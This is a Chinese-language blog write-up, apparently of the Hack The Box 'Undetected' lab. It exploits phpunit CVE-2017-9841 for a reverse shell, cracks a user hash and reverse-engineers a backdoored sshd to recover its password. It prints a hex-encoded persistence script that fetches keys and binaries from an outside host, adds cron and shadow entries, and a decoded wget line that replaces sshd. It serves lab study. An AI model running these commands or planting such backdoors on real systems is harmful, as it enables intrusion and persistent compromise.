Undetected

最新推荐文章于 2024-09-22 08:03:43 发布
最新推荐文章于 2024-09-22 08:03:43 发布
阅读量3.6k 收藏
点赞数
分类专栏： hack the box 文章标签： 渗透测试 网络安全 hackthebox
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45007073/article/details/123670903
版权

信息收集

发现目标主机只开放了ssh和web服务
在这里插入图片描述
访问web页面时，并没有发现什么有价值的信息，但是点击VISIT STORE时跳转到域名store.djewelry.htb
在这里插入图片描述
添加到hosts文件中访问后，发现是这个页面。直觉告诉我目录扫描将会有新的发现
在这里插入图片描述
发现了一个vendor目录，访问后发现存在很多目录
在这里插入图片描述
在这里插入图片描述
其中，我发现了phpunit的版本为5.6
在这里插入图片描述

漏洞利用

在搜索引擎上，搜到了对应的漏洞编号为CVE-2017-9841，漏洞利用的路径是/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php。我们在这个路径下抓包，然后添加多一个phpinfo参数再放包，发现可以成功执行
在这里插入图片描述
那么我们来构造命令看看当前的用户权限是什么，发现是www-data用户
在这里插入图片描述
那么我们就可以构造一个payload，反弹一个shell到我们的本地终端上
在这里插入图片描述

权限提升

拿到data权限后，查看了passwd文件内容，发现存在两个用户，一个是steven和steven1
在这里插入图片描述

到这里我没思路了，上传一个linpeas.sh脚本看看有没有新的突破口吧。结果发现了一个可疑的目录/var/backups/info
在这里插入图片描述
进入到这个目录中后，发现info是一个二进制文件
在这里插入图片描述
因为strings程序无法使用，所以只能使用cat命令，我们在里面查看到一串类似16进制的字符串

776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b

在这里插入图片描述
我们进行解码，返回了如下内容，其中有一串类似哈希的字符串

$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/

在这里插入图片描述
我们拿去john进行爆破，发现密码是ihatehackers
在这里插入图片描述
这个密码可以成功登陆steven1账户
在这里插入图片描述

提权到ROOT

输入sudo -l，然后键入我们的登录密码发现不能登录成功
在这里插入图片描述
我们先上传一个linpeas.sh脚本，运行看看有什么新的收获。这里我们又发现了sudo的版本可能存在漏洞
在这里插入图片描述
但是再利用的时候发现，目标主机并没有make，而且我们也没有权限安装，所以这个点暂时不能利用成功
在这里插入图片描述
但是我们发现了另一个有趣的文件
在这里插入图片描述
我们查看了文件的大概内容，用翻译软件翻译了一下
在这里插入图片描述
大致内容是

我们最近更新了系统，但仍然遇到一些奇怪的行为与Apache服务。
在调查进行期间，我们暂时将网络商店和数据库转移到另一台服务器上。
如果出于任何原因，您需要访问数据库或web应用程序代码，请与Mark和他联系
将生成一个临时密码，以便您对临时服务器进行身份验证

从内容上看，我们大致知道要进行邮件伪造来获取这个临时密码了。我们可以先查看一下apache的目录，很幸运我们对这个目录有读写权限
在这里插入图片描述
因为文件太乱了，所以我们使用ls命令的--full-time参数，查看文件修改的具体时间，然后使用sort命令去重
在这里插入图片描述
发现了mod_reader.so文件的修改时间是最早的，那我们可以将这个文件下载下来看看

scp steven1@10.10.11.146:/usr/lib/apache2/modules/mod_reader.so ./

我们查看其内容是，发现了一段疑似base64加密的字符串内容

d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk

在这里插入图片描述
我们加密其内容，发现是一串命令，这个命令是下载image图片后，再通过sshd程序进行传输

wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

在这里插入图片描述
我们可以使用scp命令，将sshd这个程序下载下来，然后使用ghidra程序进行逆向分析。在auth_password函数中，我们可以了解到密码长度是31位的
在这里插入图片描述
这是C语言的伪代码

  backdoor._28_2_ = 0xa9f4;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;

我们重新编排一下顺序，从高到低进行排序

  backdoor[30] = -0x5b;
  backdoor._28_2_ = 0xa9f4;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor._12_4_ = 0xfdb3d6e7;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._0_4_ = 0xf0e7abd6;
  得到的值我们经过排序，得到如下结果
  0x5b
  0xa9f4
  0xbcf0b5e3
  0xb2d6f4a0fda0b3d6
  0xfdb3d6e7
  0xf7bbfdc8
  0xa4b3a3f3
  0xf0e7abd6

我们将上面的值先进行hex转化，在进行XOR转化，得到如下的字符串值，初步判断应该是backdoor的密码，但是我们尝试使用其登录root账户时失败了，这是转化地址https://gchq.github.io/CyberChef/#recipe=Swap_endianness(‘Hex’,31,true)From_Hex(‘Auto’)XOR(%7B’option’:‘Hex’,‘string’:‘96’%7D,‘Standard’,false)&input=MHg1YgoweGE5ZjQKMHhiY2YwYjVlMwoweGIyZDZmNGEwZmRhMGIzZDYKMHhmZGIzZDZlNwoweGY3YmJmZGM4CjB4YTRiM2EzZjMweGYwZTdhYmQ2
在这里插入图片描述
在这里插入图片描述
然后我再次右键查看0x5b这个值的时候，发现它的值应该为0xa5
在这里插入图片描述
修改值后，重新获取到一个新的字符串值
在这里插入图片描述
发现可以成功登陆了，并且是最高权限
在这里插入图片描述

总结

其实这台靶机前面拿取低权限时并不是特别困难，从www-data权限到steven权限都是较为简单的，但是要提权到root权限时，需要懂得逆向的知识，所以root权限拿取门槛较高。

phpunit 远程代码执行漏洞（CVE-2017-9841、eval-stdin.php）
墨痕诉清风的博客
07-15 1097
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架，通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录，则存在远程代码执行漏洞。
Hackthebox靶场---Undetected 攻略实战（难）
weixin_51339377的博客
04-24 4345
正常思路 nmap进行端口扫描 发现开放了80和22端口 网站进入80端口 是一个珠宝网站 发现点击store会重定向到其他的url http://store.djewelry.htb/ 我们首先用dirsearch扫描一下 然而并没有发现什么有用的，也跟基本主界面测试差不多 除了store可能有可以利用的地方 我们不妨把这个未知url的地址也dns解析到这个ip地址 执行以下命令即可 echo 10.10.11.146 djewelry.htb store.dj...
Laravel 远程代码执行漏洞(CVE-2021-3129)复现
oiadkt的博客
04-24 6155
Laravel 远程代码执行漏洞(CVE-2021-3129)
laravel5.7 反序列化漏洞复现
feng的博客
02-17 2141
前言 之前接触yii2，接下来就遇到laravel5.7的反序列化了，复现了一下laravel5.7的反序列化链，学习了一波。 去github上下载源码： laravel5.7，下载下来的可能回没有vendor目录，需要在根目录执行composer install就可以了。 ...
php 序列化漏洞,PHP反序列化漏洞成因及漏洞挖掘技巧与案例 | ADog's Blog
weixin_32909875的博客
03-20 530
最近在深入研究php的反序列化，觉得Test404这篇可能是同类当中写的最好的，不过不知道这篇出处是不是360的。。在这里转载一下以便新人学习~翻译：hac425一、序列化和反序列化序列化和反序列化的目的是使得程序间传输对象会更加方便。序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别...
PHP代码审计9—代码执行漏洞
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
08-04 1491
代码执行漏洞分析
c++ fully undetected shellcode launcher ;).zip
12-31
标题 "c++ fully undetected shellcode launcher ;)" 提供了一个关键信息，即这是一个使用C++编写的程序，它的功能是启动一个不被检测到的Shellcode。Shellcode是一种恶意代码，通常用作本地提权或者远程代码执行的...
使用selenium和undetected_chromedriver报错urllib.error.HTTPError: HTTP Error 404: Not Found的一劳永逸解决办法
kxltsuperr的专栏
05-24 1318
有时使用selenium和seleniumbase访问部分网站的时候，需要使用代理。主要问题就是undetected_chromedriver和chrome浏览器的适配问题，下面这篇文章说的一针见血，就是undetected_chromedriver不会自动更新，导致今天能用，可能明天就报错了。使用seleniumbase可以很好的解决这个问题，它可以每次自动适配chrome。如上以后，再也不用担心使用uc和chrome适配的问题了。我的环境：win10，python3.8.10。安装完毕后，查看一下。
undetected-chromedriver没响应
01-10
undetected-chromedriver没有响应可能是由于以下原因导致的： 1. ChromeDriver版本不匹配：请确保您安装的undetected-chromedriver与您的Chrome浏览器版本相匹配。如果版本不匹配，可能会导致错误或启动失败。您...
undetected_chromedriver闪退
12-22
根据提供的引用内容，undetected_chromedriver闪退的原因可能是由于以下几个因素导致的： 1. 版本号问题：根据引用，闪退问题可能与chromedriver的版本不兼容有关。尝试卸载重装不同版本的chromedriver，或者根据...
undetected _chromedriver cloudflare
最新发布
10-05
"undetected_chromedriver_cloudflare"这个问题似乎是在讨论关于ChromeDriver的问题，特别是在遇到Cloudflare反爬虫机制时的情况。ChromeDriver是一款由Google开发的浏览器驱动程序，用于自动化测试Web应用程序，...
Exploits:LinuxWindows漏洞利用
04-16
漏洞利用 卡利Linux 安装终结者 sudo apt-get update sudo apt-get install terminator 使用终止符 #Start Terminator #horizontal break ctrl+shift+e #Vertical break ctrl+shift+o 安装/下载linpeas.sh（系统检查器） Download linpeas.sh (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/lin
【威胁分析】phpunit远程代码执行漏洞
sinat_35058227的博客
08-29 3474
phpunit是php中的单元测试工具 其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的： /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 有一个eval eval('?>'.file_get_contents('php://input')); 直接将PHP代码作为POST Body发送 即可执行php代码 威胁分析： 1、分析是否利用该漏洞 uri为：/vendor/phpunit/phpunit/src/Util/PHP
PHP项目中Vendor错误导致项目失败的解决方案
qq_33665793的博客
09-22 845
使用工具如`Composer Audit`或`SensioLabs Security Checker`来监控依赖的安全性，确保你的项目不受已知漏洞影响。如果遇到缺失依赖的情况，可以尝试删除`vendor`目录和`composer.lock`文件，然后运行`composer install`重新安装所有依赖。使用`composer show`命令可以查看当前安装的依赖及其版本信息，确保所有依赖之间的兼容性。- **锁定版本**：在`composer.json`中锁定版本，避免意外更新导致的问题。
php组件漏洞
赵花花08042的博客
07-27 669
通常我们调用一个php中的方法，比如这样一个函数方法localAdd(10,20)，localAdd方法的具体实现要么是用户自己定义的，要么是php库函数中自带的，也就说在localAdd方法的代码实现在本地，它是一个本地调用！3、B接受A发送过来的字节流，然后反序列化得到目标方法名，方法参数，接着执行相应的方法调用（可能是localAdd）并把结果30返回；扩展，按照官网的描述，可以安装也可以不安装，不安装phprpc也是可以运行的。然后就可以非常方便的去使用第三方的类库了，是不是感觉很棒啊！...
phpunit 远程代码执行 (CVE-2017-9841)
YouthBelief的博客
11-04 3636
@[TOC](phpunit 远程代码执行 (CVE-2017-9841)) phpunit 远程代码执行 (CVE-2017-9841) PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架。 0x01 漏洞描述 通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录，则存在远程代码执行漏洞。 80端口 漏洞位于 /vendor/p
phpunit 远程代码执行漏洞（CVE-2017-9841）
这周末在做梦的博客
12-21 3123
本次分享内容为蓝帽杯中web-php的一道题目中的关键漏洞，由于本人技术不够成熟，无法进行完全的复现，还请见谅。 一，漏洞概述: PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架，通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录，则存在远程代码执行漏洞。 二，漏洞版本： 4.8.19 ~ 4.8.27、 5.0.10 ~ 5
Thinkphp 5.0.24变量覆盖漏洞导致RCE分析
热门推荐
weixin_43263451的博客
03-30 1万+
大概思路就是我们可以修改requests类的filter属性、method属性以及get属性的值，从而在调用param方法时，call_user_func_array的值我们就可以控制，造成了远程代码执行漏洞。 0. 大致流程 经过入口文件进入run函数 首先在116行根据url获取调度信息时，触发变量覆盖漏洞从而修改requests对象的属性值，然后获取?s=captcha的调度信息并返回给$dispatch 再到139行进入exec函数并将$dispatch作为参数带入 跟进后根据$dispatch
Nette框架未授权任意代码执行漏洞分析
小小猪的博客
11-13 838
Nette框架未授权任意代码执行漏洞分析 漏洞介绍： Nette Framework 是个强大，基于组件的事件驱动 PHP 框架，用来创建 web 应用。Nette Framework 是个现代化风格的 PHP 框架，主要用于国外网站开发，因此国内对该框架的研究比较少。2020年10月，Nette框架被爆出存在未授权任意代码执行漏洞，可通过自有框架控制器MicroPresenter执行任意PHP方法。 环境复现： 通过查询发现该漏洞影响自2.0以来的几乎所有大版本，详细的范围如下 nett..
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值
>